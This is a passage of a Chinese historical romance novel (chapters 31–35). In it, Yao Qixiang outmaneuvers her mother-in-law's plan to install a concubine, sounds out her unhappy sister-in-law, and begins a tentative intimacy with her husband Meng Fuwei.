几息功夫,姚戚香便想好了,她起身笑着上前两步,对常秋兰道:“婆母,我也觉得这芸香很是乖巧可人,我也是打心里喜欢,不过芸香的姐妹究竟如何,咱们到底不知,还是见过了真人再做定夺吧。” 常秋兰但笑不语,只抬了抬手,收到示意的女使便将一位身着桃色布衣的窈窕女子带了上来,姚戚香粗看了一眼,容貌与芸香有几分相似,但要比芸香生得更白皙些,更明艳些,也是不差的。 女子开口:“我叫芸若。” “危儿,你瞧着如何?”常氏带着满意的神情,朝孟扶危看来。 姚戚香听着常秋兰对孟扶危这蹩脚的称呼,险些笑出声来。 孟扶危开口:“我素日公务繁忙,甚少回府,多一个在家也没什么用处。” 常氏闻言笑道:“这有什么,左不过是多一个伺候你的,多一个知心人罢了,再说了,戚香总是一个人在家,多一个人,她也能有个说话的伴不是?” 孟扶危:“那就全凭母亲做主。” 如此轻易就得了孟扶危首肯,常秋兰脸上的笑容更大了,不过今日她本就是有几分成算在的,毕竟当日,她要做主给孟扶危娶一个小门小户的正妻,他都什么话也没有说,何况又只是个妾呢。 且这妾室也很貌美的。 她得了孟扶危的话,本来就已经可以一锤定音了,可她偏要再转过身来,问姚戚香的意思。 “戚香觉得如何?你若觉得这姑娘不错,那这事今日就定下,等一会儿,你便将她领回松风堂去。” 姚戚香这会儿才觉得,孟扶危说的还真是不错,常氏今日根本就是冲着她的名声来的,纳妾不过是个幌子,若成了,送一个人给孟扶危来恶心她,若不成那更好了,她只怕不久后便要在京城听到什么添油加醋的恶名了。 “儿媳觉得不妥。”姚戚香道。 她这话一出,便明显感觉到屋里的所有人都朝她看来,唯独没有瞧向她的,只有孟扶危。 “哦?”常氏脸上的笑意更深了,“连危儿都答应了,你却说不妥,戚香,你可知道你这是善妒?” 姚戚香挑了下眉,这常氏说的话,简直就和她心中想的一模一样。 孟极巴不得能多一个人纳妾陪他,此时也帮腔道:“是啊弟妹,男人纳妾天经地义!你凭何反驳?” 姚戚香懒得理他,只笑道:“婆母误会了,儿媳觉得不妥的,并非纳妾之事,若能有一个姐妹与儿媳共同服侍夫君,儿媳自然欢喜,只是……您瞧芸香妹妹,她可是堂兄下聘堂堂正正带回孟家的,同为姐妹,芸若却要被草草定下,连份像样的聘礼都没收,连件像样的衣服都没穿,儿媳着实心中不忍。” 她说着,还默默拭了拭眼角并不存在的眼泪,接着道:“同为女子,儿媳实在不愿看到芸若与姐妹境遇悬殊,这贵妾与妾一字之差,可待遇却是千差万别。” 常秋兰缓缓皱紧了眉。 这些日子,她以为自己看懂了姚戚香,这姚氏惯会阳奉阴违的,把自己的好处看得比什么都重要,今日怎么反倒替别人打算起来了? 常氏不确信地问:“你的意思是,要孟家给芸若家中下聘,让她进府做个贵妾?” “正是如此!”姚戚香道,“为人妾室实在可怜,儿媳当真于心不忍,还望婆母成全。” 多好的一副菩萨心肠呀,多么贤淑温良的妻子,常秋兰甚至瞧见,后面坐着的二房三房欣慰地点了点头,就连孟极那蠢材看向姚戚香的眼神也多出几分羡慕来。 常秋兰真要气笑了,她看向芸若,问:“你的意思呢?” 一旁站着的芸若受宠若惊:“姚娘子如此为我考虑,我心中感激不尽。” 常秋兰:“……” 常秋兰冷道:“那就如此吧,请人去算最近的良辰吉日,尽快将此事办妥。” 就在这时,姚戚香忙道:“婆母,儿媳初为人妇,于纳妾方面的章程实在不懂,担心出了什么差错,想求婆母辛苦策划一番,儿媳也好跟着学学。” 今日这姚氏,简直听话得有些不像样了!常秋兰正想着要如何开口将纳妾之事自己揽过来,以免中间再出什么岔子呢。 “危儿也是我的儿子,我自会费心。” 如此,此事便成了,姚戚香虚虚向常氏一礼,转身回了座位。今日,孟家所有人可都见证到了,她是如此贤良淑德,如此温善孝顺,哪怕将来做了孟家主母,那也是很得宜的。 姚戚香小声问孟扶危:“我表现如何?” 她说完,便没有等到回话,忍不住抬眸去看时,才见孟扶危眼中其实藏匿着一点笑意。 姚戚香怔了怔,一时间所有的心思都不复存在,周围好像霎时安静了下来,静得她只听见自己的心在咚咚地跳着。 她忍不住想,她纵是与孟扶危和离,今后再嫁,恐怕也再遇不到一个如孟扶危这般会替她谋划考量的人了。 此事刚罢,便有一个身影急急闯进了屋中,竟是气喘吁吁的孙月瑶。 待她到了,发现这屋里竟然坐着这么多人,先是一愣,随后才草草向长辈们行了礼,之后,一双寒刀似的眼光便朝孟极刺来。 孟极下意识躲避开她的视线,拉着芸香躲着她走。 “你这个时候来是做什么?一副气势汹汹的样子,孟极纳妾,你不同意?”常秋兰开口。 孙月瑶收回了目光,低声道:“我还能有什么同意不同意的,人都被领进门了。” “嗯,这就对了。”常氏道,“此事已经板上钉钉,是孟极不好,没有事先与你商议,可你们到底是夫妻,天底下有哪个男人不纳妾的?回去之后照常过日子,不要心生怨怼才好。” “主母放心,晚辈不会。”孙月瑶道。 姚戚香暗想,孙氏的确不会。 只因方才那一眼,孙氏看向孟极时,姚戚香将她的眼神看得清清楚楚,那里面根本没有丝毫的痛心与委屈,亦或者是怨恨,而是满满的嫌恶。 孙月瑶厌恶孟极。 这真是一个有趣的发现。 第32章 第32章 夫人说他年轻 隔日, 姚戚香罕有地登门拜访了孙月瑶。自她嫁入孟府,她与孙月瑶的关系便是不远不近,平日里没什么理由拉近关系, 姚戚香也不喜欢虚与委蛇。 不过眼下, 她与孙月瑶的夫君都要纳妾,且还都是同一个家中的女儿,那她要去找孙月瑶说道说道, 不也很合乎情理吗?说不定, 孙月瑶心中也很盼望着与她说道说道呢。 她没有选择一大早便登门,而是选在了下午,人的精神最惫懒的时候。 女使来禀说姚家娘子过来了时,孙月瑶既觉得惊讶, 又觉得情理之中, 她好歹与孟极成婚已有近两年了,可姚戚香却是刚嫁过来月余的新妇,自己的丈夫即刻就要纳妾,万一再在自己跟前生下一个儿子,那真是说不完的糟心事。 一会儿功夫,姚戚香被请到了偏厅, 她今日穿了件鹅黄色的薄衫, 整个人看上去温柔又明快,坐在屋里的孙月瑶比起她, 便更显得冷沉不少。 “嫂嫂,我一个人闲得无趣, 来你这里坐坐。”姚戚香笑道。 “快进来坐吧。”孙月瑶脸上也带了笑,“今儿个日头这么大,也难为你还肯往外跑。” 说这话的同时, 孙月瑶也忍不住想,这种天气姚氏都能来回走动,可见她是真坐不住了。 姚戚香道:“本来是懒得动的,只不过早上出去听了出戏,嫂嫂也知道这些日子我一直在跟钟嬷嬷学些东西,很少得空,还是近日学有所成了,钟嬷嬷允我轻松些,我才能到嫂嫂这院子里来,我听完戏回来,便直接过来嫂嫂这边了,你不觉得我叨扰吧?” 孙月瑶自然不会,她整日在这后宅之中也是无趣自苦,若能有个人来陪她说说话,她自然是高兴的。 “你倒是好兴致,还能出去听戏。”孙月瑶下意识觉得姚戚香就是年纪小,只有年纪小的人才有这样的心力,便忍不住说了一句,“还是年轻好啊。” 这后半句乍一听像是感叹,可若仔细分辨一二,便能从中听出些缅怀来。 “嫂嫂这说的是什么话?你不也只比我大个三岁吗?也还年轻着呢。” 姚戚香说完了这话,孙月瑶好似才反应过来似的,恍惚了一瞬,她想对啊,她其实也只比姚戚香大了三岁而已,她今年才十九岁。 可为什么日子孙月瑶总觉得自己已然老了呢?她像是已经在这孟府的家宅中度过了很漫长的一段岁月,前些日子她回了躺娘家,看见家中几个年幼的姊妹初长成的模样,便更加觉得自己是老了。 可她明明才十九岁,有些不讲究的人家里,女儿十九还未嫁呢。 姚戚香见孙月瑶懒洋洋的,似乎并没有要应付她一句什么话的样子,神色却露出思索,便知是自己那一句话又勾起了她的回忆来。 她就说,午后是人最惫懒的时候,这会儿人懒得动,可脑子却并不死板,在安静的环境下,人的思维反倒更加灵活,也更容易听进去别人说的话。 “昨日我在云栖堂瞧见了二叔和三叔,便稀奇这家里的兄弟还真是长得一模一样,虽然长相不同,可五官总有几处是一模一样的,我来孟府这么久,还是第一次瞧见二叔呢。”姚戚香并未直奔自己的目标而去,而是真的和孙月瑶闲聊起来。 听着她说话,孙月瑶也忍不住道:“他们兄弟几个确实长得像,可我觉着还是伯翁最是威严,我都不敢跟他说话。” 孙月瑶口中的伯翁便是姚戚香的公爹孟祁柏。 “的确,我每次去云栖堂,都害怕撞上他。”姚戚香道,“不过好在,他老人家也是个冷清的性子,我去几次也遇不上一次,就好似孟扶危……” 姚戚香有意顿了顿,“他这性子真像他爹,也是沉闷的。” 孙月瑶听着她说话,忍不住想姚戚香终于把今日闲聊的话题引到孟扶危身上了,只怕过不了一会儿,就要说妾室的事。 可下一句,姚戚香又道:“元德的性子就不像了,也不知是像了谁,不过元德长得跟公爹倒像是一个模子里刻出来的。” 说罢,她又接着道:“三房那边的孟檀,小小年纪看着便很是英朗,不过我瞧他眉眼与三叔并不像。” 孙月瑶忍不住道:“孟檀更像他的母亲。” 这是怎么?姚氏怎么一副真跟她来闲聊的样子?难道姚氏不是来同她商量如何对付妾室的对策吗? “哦……是吗 。”姚戚香笑了笑,“那堂兄呢?” 她抬眸,不愿错过孙月瑶眼中的任何情绪。 “堂兄更像谁?” 孙月瑶呼吸明显一顿,她看向别处,视线又落回姚戚香身上,道:“他更像我公公。” “是吗?”姚戚香惊讶。 她在惊讶什么,孙月瑶怎会不知?孟极的父亲孟祁松,虽然有些年纪了,但不说风采依旧,至少也是器宇轩昂的,反观孟极…… 孙月瑶的眸中,又忍不住浮现出一抹厌恶之色。 “他年轻的时候……”孙月瑶顿了顿,“我是说更年轻的时候,也是气度不凡的,我真想不明白,短短两三年功夫,他怎么就变成了这样。” 而今的孟极,膀大腰圆,臃肿油腻,孙月瑶眼里的嫌恶真是藏也藏不住。 她与孟极,本就不是那种恩爱夫妻,当年孟极看中她的美貌上门提亲,新婚头一年对她还算不错,可后面便渐渐敷衍起来了,到现在,她与孟极的关系也不过是普通夫妻,只是她这个人性子厉害些,孟极少不得有些怕她罢了。 怕又如何呢?该做不该做的事,他也一样都没有落下。 姚戚香抿唇笑道:“嫂嫂何必挂心这些,男人嘛,总是在外的事业为重的,只要他没短你吃穿,没给你脸色看,不给你找麻烦,那长成什么模样又有什么打紧?女子这一生本就苦闷,若咱们自己再找些没来由的苦头硬吃,那还活什么人呐。” 她这番话说得倒是令人舒心,让孙月瑶想起姚戚香进门敬茶那日,在常氏面前说出的那番惊世骇俗的话来。 从前姚氏在外的传闻,孙月瑶并非没有耳闻,她原本也是信的,听说孟扶危娶的是这样一个女人,她曾也抱着看笑话的心态。 然而这些时日相处下来,虽然相处得不多,可孙月瑶也大致看得出姚戚香是个本分人,她性子不坏,只有说的话有些登不得大雅之堂罢了。 难道就因为这样,姚氏的名声便成了外界传闻的那般恶? 结果前两日,孙月瑶回了趟娘家才知,姚家那个原来是姚戚香的继母,那这里面有些什么弯弯绕,也就不言而喻了。 “你倒是看得开。”几番交谈下来,倒是孙月瑶先忍不住漏了底,“那孟司使纳妾之事,你也不放在心上了?” 因着孟扶危在朝中的影响力,亦或是在孟家的影响力,在外人面前,孙月瑶不是很敢直接称呼孟扶危的名字,莫说是她,就连她的夫君孟极也不敢真的叫孟扶危一声弟弟。 姚戚香摇了摇头:“这种事,嫁人之前我便想好了,有什么可惦记的?横竖我从前也只是个五品郎中之女,如今能攀上孟家的门第,我已然什么想法都没有了,每日去听听戏,吃吃茶,就很自在了。” 孙月瑶一想也是,姚氏的出身的确一般,能攀上孟家的确是她此生最好的出路,那么来一两个妾室又如何?也不是那么难以接受了。 这两日,孙月瑶满脑子都在想孟极纳妾的事,她膝下没有孩子,想到那进门的妾室说不定会比她先生下孩子,她真是睡也睡不着。 可跟姚戚香说了这么一会儿话,孙月瑶突然就想开了许多,孩子的事,她急也急不来,横竖孟极不能休了她,不如破罐破摔,就先这么过着吧。 孙月瑶忍不住问:“你今日去听的,是什么戏?” 姚戚香道:“我今日听的是出新戏,名字叫出墙记,哎嫂嫂,那演船夫的人生得可真是俊俏,我都不好意思多瞧他。” 光是听着这名字,孙月瑶便不免直了直眼:“出墙记?” 这不是什么正经的戏吧? “是呀!”姚戚香道,“盛京刚来了伙南边的戏班子,不知有什么路数,生意做得可红火了,我瞧着他们排的戏倒比正经戏园子里的好看。” 顿了顿,姚戚香又道:“便是冲着今日那船夫,我也要再去瞧一回。” 见她说话如此直白,孙月瑶不免被逗笑了:“真有这么好看?比你家……孟司使还要好看不成?” “嫂嫂。”姚戚香摇头,“两种全然不同的感觉,怎么能拿来比?你若是去瞧一眼,便什么都懂了。” 姚戚香离开二房的院子已经是两个时辰之后的事了,她并不能确定自己的话是否能够打动孙月瑶,但她今日来,也只是给孙月瑶埋下一条引子,这条引子要不要去引燃,引子的末端要维系着什么,都是由孙月瑶来决定的。 不过姚戚香并不知晓,她今日在外的行程,除了被她说给了孙月瑶,还被另一人转述给了孟扶危。 天禄就站在书房,低头禀报时,孟扶危正在练字。 雪白的纸张上跃然出现的大字风流畅达,笔势秀逸,孟扶危垂着眼,是以天禄并不能瞧见他的神情。 “出墙记?讲的什么?”孟扶危淡声问。 天禄:“讲的是一高门贵妇,与自己的夫君不得恩爱,在一次南下路上与精壮船夫发生的风流韵事。” “嗯。”孟扶危示意她继续。 “那船夫上身只穿了件短褂,确实精壮,一出场便得好些喝彩,夫人也多看了好几眼。” “哦。”孟扶危只是练字,“还有吗?” “还有……”天禄知无不言,“事后,船夫还亲给咱们夫人送了朵花来,夫人还问了他的名字、年龄,他说他十八岁,夫人说他年轻,都没大她几岁。” 孟扶危不说话了,他的落笔一次比一次缓慢,亦或者说是迟滞,运笔也没有那么流畅了,好容易写完了那幅字,他的目光也只是凝在那幅字上。 天禄等了半晌,没等到孟扶危的问话,还以为没有事情要交代了,正准备识趣地撤下时,听见身后恍惚又飘来一句—— “我也没大她几岁。” 天禄都有些汗流浃背了,他就知道今日这事儿不该全报的,可问题是姚娘子那边把这件事说给了孙月瑶,他要是不如实报出,以后公子意外从别处得知了,那便是他的渎职了。 “下去吧。”孟扶危放下了笔,落下的笔尖沾染着墨,把原本干净的一副字淌得墨渍斑驳。 继而一双修长的手将雪白的纸张拿起,慢慢团成一团,一寸寸碾成硬块,随手丢在了桌角。 自然……是要信她的。 他在心中默念,又提起笔,不动声色地去写下一幅。 第33章 第33章 今晚,你我或可圆房 姚戚香回到松风堂的时候差不多也该吃饭了, 她经过书房见里面灯亮着,便知孟扶危已经回来了。 “他什么时候回来的?”姚戚香问旁边的云韬。 云韬:“一个时辰前公子就回来了。” “哦。”姚戚香点点头,这倒显得她回来晚了。 走进书房时, 孟扶危正在看书, 看的是什么书姚戚香都没有看清,她不由感叹孟扶危的眼力真是好,这屋子里光线这么暗, 他也看得清。 “今日回来这么早?”姚戚香随口闲谈一句, 正想着要怎么开口问问孟扶危后续的纳妾事宜。 谁知,她听见孟扶危开口:“你似乎并不希望?” 希望什么?姚戚香一愣,并不希望他回来得早? 这与她并不相干吧? “啊……”姚戚香都不知道她这话要怎么接了,只好道, “我刚去隔壁院子转了转, 其实嫂嫂这个人呢,也挺随和的。” “姚戚香。”孟扶危忽又叫了她的名字。 “嗯?”姚戚香回头,她总觉得今日孟扶危有些阴沉,可她又没惹,他这是生的什么气? 本着反正不是她的错,姚戚香回道:“有件事我正好问问你, 那芸若进门的事要如何处置?要是让她来的话, 这院子里的哪个屋子要划给她呢?先说好,别离我太近。” 孟扶危沉默着看了她一会儿, 那眼里像是有千万句话,可过了半晌, 他只说:“你就只想问我这个?” “是啊。”姚戚香点头,“就只有这个,或者你还想我问些什么别的?孟扶危, 若有什么话,你直说啊。” 说完这句话,姚戚香只觉得孟扶危的眼神又肃冷了下去,还有几分令她看不懂的幽怨。 她睁大眼睛等了半天,听见孟扶危道:“芸若已经嫁人了。” 啊!? 姚戚香都怀疑自己听错了,嫁人了!?这怎么可能?昨天她不才瞧见芸若,就好端端站在那儿吗?短短一日,就已经嫁人了? 好半天,姚戚香才回过神来道:“你做的?” 孟扶危缓慢踱步过她身边,却不答她的话,而是道:“所以,你昨日当真以为,我会纳她?” 那是自然!姚戚香简直觉得今日的孟扶危莫名其妙极了。 可她在孟扶危的这一声声问询中,突然悟出了点什么。 啊,他大约是觉得,她身为他的妻子,居然对这些事毫不在意,所以有些不高兴了? 她向来不会在这种事上执拗,只要她在孟府的日子能真真切切地过好,那她对孟扶危服几次软又有什么不行的? 于是,姚戚香斟酌着开口,甚至带了一丝委屈:“婆母那样强硬,我能如何呢?” 同时,她心里想:这下总行了吧? 她听见孟扶危轻轻叹了一声,也不知道他是满意这个回答,还是不满意,不过姚戚香感觉孟扶危没有再盯着她看了,于是她试问:“咱们先去吃饭?” “嗯。”他面上已回归一片平静,就好像方才什么事都没有发生过一般。 吃饭途中,姚戚香一直想细问孟扶危有关芸若的事,怎么突然嫁了?嫁给了什么人能容下这样仓促的婚事? 她并不想真做什么贤妻,昨日在众人面前演了那一场,也只是因为那对她有利而已,平心而论,她自然是不想这个芸若进门的。 可昨日她在云栖堂说出那番话时,自然便以为这件事没有退路了,在所有人面前都过了一遍的事,她亲口应下的事,孟扶危也没有反对的事,芸若本人也在场,现在只过了一日,就告诉她芸若已经嫁了!? 姚戚香真是好奇,孟扶危究竟用了什么样的手段? 她更想知道的是,既然对孟扶危来说,处理一个来路突然的女人是如此轻易的事,为什么当初他没有这样处理与姚家的婚事呢? 当时还有宋世安向她提亲,如果孟扶危从中斡旋一番,不是更加容易?可是他没有,这是为什么呢? 这种无法猜透的感觉,让姚戚香感到不安,绝大部分时候,她都猜不透孟扶危的心思。 她猜不透孟扶危的心思,便触碰不到他的底线究竟在何处,是以也就不知,芸若这个人,究竟是规规矩矩嫁了人,还是被卖到了别的地方,还是……根本就不存在了。 姚戚香可太清楚位高权重这四个字怎么写了,上位者吃人,是完全不用吐骨头的。 因着这层关系,姚戚香也不敢打破砂锅问到底,万一…… 晚上这顿饭吃得格外沉默,姚戚香全程垂着眼,有意识规避着孟扶危的目光,她这副样子自然也被孟扶危瞧在眼中。 良久,他开口:“芸若嫁的人,是自幼同她一起长大的表哥。” 姚戚香不由抬了头。 “找到她时,她说自己不愿为人妾室,你在众人面前替她说话,她心中感激,自请离去,我便给了她笔银子,让人送她回江州老家了。” “若你不信……”孟扶危正要补充,被姚戚香一句话打断。 “我信!”姚戚香道,她知道,孟扶危这是在跟她解释。 “我自然是信你的。”姚戚香这句话是真心的,她明显感觉到自己在孟扶危说完之后便松了口气,芸若现今的下场,或许在将来某一天会成为她的下场, 她潜意识觉得孟扶危是可信的,可她的理智想不通,孟扶危分明可以操纵自己的婚事,可他没有。孟扶危分明心里有其他人,可他半点都没有要和离的意思。 这些潜在的因素,都让姚戚香感到不安,而她不安的原因不是因为孟扶危不爱她这个妻子,而是如果孟扶危想做一件事,她掌控不了。 观察到她的神情的确放松了下来,孟扶危便没有再开口,他有些不解,她分明看到了那件东西,为何还对他如此芥蒂? 对着一个素不相识的船夫,她尚且都能说上好几句话,为什么独独在他面前便如此缄默? 他思索了几息,在姚戚香吃好了饭,准备放下筷子起身时,他开口:“今晚,你我或可圆房。” 姚戚香手中的筷子险些掉在地上,她怔怔看着孟扶危,不明白这件事最终的走向为什么会是这样? “……好。”姚戚香硬着头皮答应了,“那我、去准备一番。” 她忙起了身,飞快离开了偏厅,出来的时候觉得自己双颊还是热的。 这种事,躲得了初一躲不过十五,早晚是要来的!长痛不如短痛…… 一会儿功夫,姚戚香便从错愕中回过神来。 圆房就圆房,反正大婚那日早就该圆了。 “……茗玉,备水。”姚戚香吩咐的时候,声音还有些发虚,她满脑子都是出嫁前夕有经验的妇人教她的那些事,邓氏找来的人使坏,故意不与她讲详情,弯弯绕绕的,姚戚香也只听懂了一半。 总之便是叫她,要温顺服从罢了。 同时她又有些暗恼,这事早知道在大婚那晚就完成了,那时候是顺理成章,现在强加进来,反倒令她十分紧张别扭。 与此同时,书房那边,孟扶危也叫了水。 他想起成婚前夕,亲自去问询时,对方告诉他的话。 那人说,君子贵在自持,若是索求过度,这事便不好了。 当时他忘了问,几次……算自持? 第34章 第34章 圆房 孟扶危进屋来的时候, 姚戚香只觉得自己脑中乱哄哄一片,她视线瞥向别处,一时不敢向他看去, 总觉得那样就显得她格外主动…… 她本以为孟扶危会同她说两句话的, 一点点循序渐进,可她明显感觉到身后他靠了过来,暖热的触感自她后腰处传来, 令她不由自主屏住了呼吸。 转眼入夏了, 她身上穿着的寝衣愈发单薄,她觉得孟扶危的手好像不是碰在她的寝衣上,而是直接碰在她身上似的,被触碰到的地方热得快要发烫了。 比之更烫的好像是她的脸, 姚戚香庆幸屋内光线昏暗, 只隐约能瞧清人影罢了,孟扶危绝不会看到她脸红。 如她方才所愿,孟扶危的确行动缓慢,循序渐进,可他仍是一句话都没有同她说,他的缓慢, 是在缓慢地触碰她。 姚戚香深吸了口气, 又嗅见孟扶危身上的那股浅淡的兰香,此刻或许是因为五感格外敏锐的缘故, 她错觉那股兰香好像比往常浓郁了几分。 这副全然被动的境地令姚戚香心生不满,她素来不喜欢被动, 别人走出一步,她都习惯往后想上三步,眼下却好似处处掣肘, 令她难以寸进。 姚戚香将心一横,扭过了头,这时她才发现,原来两人已经靠得如此之近,身形近乎贴到了一处。 她目中跃现出孟扶危的眉眼,即便是在如此昏暗的光线下,也很容易看清他精雕细琢的五官,只是不大容易分辨出他的表情。 近在咫尺,姚戚香下意识想要伸手推却,指尖又触碰到他宽阔的胸膛,多日前他敞着衣衫的一幕幕场景涌入脑海,姚戚香呼吸跟着一顿,她再想往后撤时,却被他紧紧攥住了。 他修长的手指上筋骨凸起,禁锢在她小臂上的手分明有力,却并未让她有任何痛感。 姚戚香浅浅呼吸着,她在这时才突然想到——其实她与孟扶危成亲这么久,从未有过什么亲密接触。 唯一的一次便是在千味楼遇到刺杀,他将她挡在身后,她似是能感受到他浑身的力气。 这种触感令姚戚香感到不适,可不适的缘由不是因为厌恶,而是因为她从未有过。 昔年儿时母亲的怀抱已经令她淡忘了,自母亲走后,没有人再这样抱过她。 没有人握过她的手,没有人将她挡在身后,没有人将她揽进怀中,她早就习惯了自己一个人。 因为不适应,她便又不由挣了挣,她分明觉得孟扶危也没用什么力,可她就是怎么也挣脱不开。 姚戚香深吸了口气,她觉得今夜的气氛过于静谧了,安静到她发闷。 “孟扶危。”她终于忍不住出声唤他,等唤出声时她才发现自己的嗓音有些变了,不同于往日那般干脆,反带着甜腻的沙哑。 就好像是……她在撒娇一般。 姚戚香不想让孟扶危这样觉得,一直以来的习惯让她急于想打破此刻的气氛,于是她忙道:“你在青楼,也是与她们这样吗?” 说出口的同时,姚戚香其实就知道,孟扶危可能会因为她的话生气。 他或许会觉得她坏了气氛。 她低垂着眼,不愿去看他的眼神,然而孟扶危忽然用力,她便更加深入地投进了他怀中,直直撞上他的胸膛。 “我没有。”他说,声音低沉,像是从他胸腔中传到她耳中。 什么?姚戚香不明白他这话的意思。 紧接着,他又说:“我去青楼,只是为了查案。” 姚戚香怔了怔,她似乎是在想这句话的真实性。 顿了顿,孟扶危又说:“姚戚香,你信不信我?” 她飞快地眨了两下眼,她不知道,可她的理智告诉她,孟扶危根本没理由骗她。 他何必在这种事上骗她?就算他真的有,于眼下又能有什么影响,她既不能因为他有过而拒绝,也不会因此而生气,这里的谎言毫无意义。 所以……他确实没有。 姚戚香微微睁大双眼,她惊讶的不是孟扶危并未有过,而是他居然会跟她解释这个。 屋里又静又暗,窗棂严丝合缝,连远远燃着的灯烛也没有丝毫的跳动,姚戚香耳边全是他说过的那句话,耳尖好似还能感觉到他说话时轻轻拂过的气息,她心口怦怦,慢吞吞地点头:“哦……我知道了。” 晚间沐洗时,姚戚香将唇上的口脂也洗去了,她此刻微张着唇,唇色并不红艳,只带着浅浅的水色,与她乖巧的面相倒是相得益彰。 她看着孟扶危沉下身,缓缓来衔她的唇,而姚戚香只顾不断蜷起手指,将柔软的寝衣抓得格外褶皱。 她的双眼止不住地飘忽,双唇相触时,她再次不由自主停顿了呼吸,孟扶危在吻她,浅尝辄止,一触即分,即便如此,姚戚香还是觉得自己嘴唇在发麻。 很香……那种浅淡的兰香近乎要侵占到她四肢百骸,感官无一不被这香气掠夺,她只觉得这些香气渐渐凝成了实体,变成水悠悠附在她身上。 京中素有熏香的习惯,可姚戚香没有,她既没有那个条件,也没有那个心力,所以眼下屋子里盈满的全都是孟扶危的味道,就好像这间房并不是她的,而是孟扶危的。 她生出一种错觉,错觉孟扶危待她分外温柔。 红,自从孟扶危开始触碰她便从未停止过,自她耳尖蔓延至脸颊,到现在浑身都在发热。 下一步,他似乎想要来解她的衣,可姚戚香没有意识到,她的双手将寝衣攥得很紧,连孟扶危在解她的衣服都没反应过来。 片刻,他松了手,黑沉沉的目光向她投来:“你想先脱我的?” 姚戚香的脸更烫了,她根本不擅长这样,不擅长与人亲密,更不擅长与人调情,她所擅长的东西皆是此刻用不上的。 “没……”她唇间溢出一声回应,轻飘飘的。 接着孟扶危的吻又落在她耳边,顺着往她颈间吻,姚戚香垂在膝上的手握紧又松开,又再次握紧,低垂的目光却见孟扶危捉住她一只手,被带着放在他的腰带上。 他穿的也不多,隔着这件衣服,她都能摸到他劲瘦的腰身,触碰到他热切的体温。 脑子里蓦然被塞进一句那个时候听到的:女子也不能全然被动,那会叫郎君失了兴致,长此以往,夫妻不谐。 于是姚戚香若即若离的手渐渐落在了实处,她开始琢磨着去解孟扶危的衣衫,脑中不觉浮现出她给孟扶危更衣的那个早晨,他教她如何穿他的腰带,此刻倒成了教她如何脱他的腰带。 姚戚香试了一次,便听见一声很小的脆响,腰带解开了。 她听见孟扶危在她耳边轻轻“嗯”了一声,竟像是在对她这一行为的肯定。 然后她便伸手去进行下一步,她的指尖探入衣间深处,缓缓将孟扶危的外衫从内而外地向下扯,她这样的行径还谈不上旖旎,甚至有些粗暴,可孟扶危没有动,他由着她这样,一言不发,等她将那件外衫完全从他身上扯下来,他又说:“好。” 姚戚香一时真恨不得找个地洞钻进去,可诡异的是,她在孟扶危一声声的肯定中,竟真生出一种她做得很好的感觉。 脑子里乱乱的,然后孟扶危又低下头,过来亲她。 她的手便理所当然按在了他心口,姚戚香浅浅呼吸着,感受着孟扶危胸腔之内跳动的韵律,指尖的触感给了她一种此时此刻她真的和孟扶危离得很近的感觉。 这样近的距离,就算她突然起了异心,想要捅他一刀也轻而易举吧? 她脑袋里升起的念头很奇怪,但就是因为这个奇怪的念头,姚戚香心里的不安才慢慢散去了。 于是她又去解孟扶危最里面那层,这下她可是真真切切触碰到了他,她说不清那是一种什么样的触感,只是觉得……很好摸,她忍不住摸了两下,才去拽他最后一层衣服。 中衣从他身上滑落时,姚戚香下意识别开了眼,然后她看到孟扶危也来解她的衣带。 反应与脑子快了一步,姚戚香下意识按住,脱口而出:“不行。” 她一说完,就瞧见孟扶危明显愣住了。 人怎么能将对方脱得一干二净,到了自己反而说不行呢? 姚戚香也不知道自己是怎么想的,她轻轻喘息着,心想孟扶危总会来第二次,到时候她安静着不出声就好了。 然而他没有,他没有更进一步,而是问她:“那你想要如何?” 姚戚香上下嘴唇碰了碰,好半天没能说出一个“可以脱”来,可孟扶危又在等着她的话,半晌,姚戚香只能道:“……就这样。” 她话虽然这样说着,但已经松开了攥着自己衣服的手,希望孟扶危能懂一些她的暗示。 然而他没有。 他并没有再进一步去解她的衣,而是一手掌在她后腰,去拿她后面的软枕,姚戚香目中浮现出一丝疑惑,紧接着就见他将这个软枕垫在了她腰后。 他离得太近了,近得几乎要与她贴在一起,姚戚香下意识攀上他的后背,深埋着头。 床幔被放下来了,遮住了屋内唯一的烛光,眼前更暗了,她双手紧扣着他的后背,越来越紧,时而又放松,呼吸又急又乱。 脑子里混沌着,她感觉到孟扶危好像在叫她的名字,可她听不清,什么也听不清,就连她的手被他拿下来,放在唇边轻吻,他将他的手扣入她指缝间,她的脑子里都是一片混沌无法清醒。 后半夜,孟扶危叫了次水。 第35章 第35章 孟扶危那方面真的不成?…… 姚戚香是在巳时后醒的, 她醒后只觉得干渴,想要起身去倒杯水喝,没想到一只手直接给她递了过来。 她接了杯子才后知后觉朝人一看, 见是红绡忽又松了口气。 她咕嘟咕嘟喝完了一盏水, 余光见红绡一直盯着她看,心虚道:“……怎么了?” 红绡摩拳擦掌:“最近没活干?” 姚戚香这便想起,她确实有一阵子没有给红绡派活了。 “怎么?我又没少你月钱。”姚戚香将空了的水盏递了回去, “你反倒闲不住了?” “没有。”她道, “若是无事,我出门一趟,几日后再回。” 姚戚香担心她再去偷,忙问:“去做什么?” “回趟家。”红绡道, “我家里给我说了门亲, 我回去看一眼。” 姚戚香的目光凝聚在红绡那张平淡又冷的脸上,一时间难以将说亲与她这样自由的女子联系在一起,半晌才找回自己的声音:“哦……好,你去吧。” 反正这两日她的确是没什么事要红绡做了。 现在她与常氏已算是撕破了脸,现在是送妾,以后谁知道还会闹出什么风波来?她得一门心思对付常氏了。 她想起之前孟扶危对她说的话, 要对付常氏, 便不能只对付常氏,还要拉拢孟家其余人的人心, 否则这主母之位,她照样坐不成。 孟扶危…… 姚戚香脸颊一热, 昨夜种种跃然眼前,她虽然是大姑娘出嫁头一回,可一些行房的知识并不是全然不懂的。 邓氏找来的规训妇人就算再怎么敷衍她, 这个也是要教的,否则便是姚家的不是。 昨夜……孟扶危并未进去。 他只是、他只是在外面……碰她,蹭她,从始至终他用的,都只是他的手。 以及,吻她。 起初,姚戚香以为他只是寻些乐子,好让后面能够轻松些,直到她都忍不住夹了他的腰好几次,他都没有要更进一步的意思…… 大汗淋漓,情不自禁,气息不稳的只有她。 说他不愿吧……又为什么非要这样?又怎么会在耳边叫她的名字?要说愿意吧,他又为何…… 姚戚香恍惚了一阵,忽然想起出墙记里面的船夫与贵妇。 起初,她去看这出戏全然是为了与孙月瑶说道,这戏的内容她看得并不算认真,只瞧了个大概而已。 可当她现下回忆起来时,她脑中又不觉涌现出那船夫与贵妇在一处时,是如何用尽了唇舌上的手段,讨好她…… 